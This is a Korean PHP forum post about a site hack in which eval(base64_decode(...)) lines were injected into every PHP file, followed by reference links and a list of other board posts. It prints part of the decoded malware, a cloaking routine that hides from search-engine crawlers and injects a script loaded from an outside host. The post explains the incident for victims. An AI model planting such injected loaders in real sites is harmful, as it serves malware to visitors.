일반 eval(base64_decode 해킹

황제낙엽 2019.07.24 05:54 조회 수 : 329

sitelink1 http://www.mcpanic.com/2010/05/07/php-ev...4%ED%82%B9 
sitelink2  
extra_vars5  
extra_vars6  

1. 동일한 피해를 입은 사용자의 사례 (출처 :: sitelink1)

호스팅 해서 쓰고 있는 계정의 모든 PHP 파일의 첫줄에

<?php /**/ eval(base64_decode(“….”); ?>

이 삽입되는 해킹을 당했다. 유사한 사례를 찾아보니 인터넷에 좀 있기는 하다.

PHP 스크립트를 사용하는 동작을 하면 갑자기 이상한 URL 로 자동 리다이렉트 되는 문제가 생긴다.

첫줄에 있는 base64_decode 안에 있는 코드가 실행이 되면서 엉뚱한 곳의 코드를 실행하는 것이다.

decode 를 해보니 볼드체로 된 URL 에 있는 스크립트를 실행한다.

 

if(function_exists(‘ob_start’)&&!isset($GLOBALS[‘mr_no’])){   

    $GLOBALS[‘mr_no’]=1;   

    if(!function_exists(‘mrobh’)){      

        if(!function_exists(‘gml’)){     

            function gml(){      

                if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){       

                    return “<script src=’http://zettapetta.com/js.php’></script”;      

                }      

                return "";     

            }    

        }  

<후략>

 

 

2. 참고 URL 모음

https://forums.oscommerce.com/topic/345957-evalbase64_decode-hack/

https://stackoverflow.com/questions/3462473/php-evalgzinflatebase64-decode-hack-how-to-prevent-it-from-occurring-a

https://forums.oscommerce.com/topic/340995-security-issue-with-admin-directory/

https://forums.oscommerce.com/topic/313323-how-to-secure-your-oscommerce-22-site/

https://forums.oscommerce.com/topic/344272-did-someone-hack-my-site-eval-base64-decode/

 

 

번호 제목 글쓴이 날짜 조회 수
22 Mysql 실행 환경변수 검사 페이지 file 황제낙엽 2007.04.04 523
21 fsockopen() 사용하여 웹페이지 긁어오기 황제낙엽 2007.09.19 392
20 PHP 예제] 문자열 길이, 한글 글자 수 구하기 함수; CJK String Length 황제낙엽 2017.02.03 363
» eval(base64_decode 해킹 황제낙엽 2019.07.24 329
18 PHP 예제] 유니코드(UTF-8) 한글 문자열 크기/글자 수 구하기; Unicode String Size 황제낙엽 2017.02.03 285
17 문자열 처리 함수 황제낙엽 2006.01.18 236
16 fsockopen() 사용예제 (원격서버의 파일을 읽어온다) 황제낙엽 2008.10.02 228
15 Mysql 한글데이터 깨짐 현상 황제낙엽 2007.02.05 215
14 Warning: session_start(): Cannot send session cache limiter - headers already sent 황제낙엽 2008.10.24 190
13 세션 사용하기 황제낙엽 2006.09.10 186
12 cURL (Client URL Library Functions) 황제낙엽 2007.09.18 146
11 유니코드 파일에서 include사용시 생기는 여백문제. 황제낙엽 2006.08.27 135
10 Fatal error: Maximum execution time of 30 seconds exceeded in 황제낙엽 2019.07.04 134
9 Warning: Cannot modify header information - headers already sent by 황제낙엽 2006.08.27 112
8 [함수] 알면 이로운 피체피의 환경변수들.... 황제낙엽 2007.05.04 105
7 PHP로 FILE I/O 하기 황제낙엽 2005.12.12 89
6 윈도우용 PHP, mbstring 익스텐션(Extension;모듈) 설치/인식 방법 황제낙엽 2017.02.03 86
5 PHP Fatal error: Uncaught Error: Call to undefined function finfo_open() 황제낙엽 2019.06.20 84
4 fsockopen 으로 웹서버 온라인 오프라인 상태체크하기 황제낙엽 2008.10.02 73
3 Content-Disposition, 한글 filename 황제낙엽 2019.04.16 70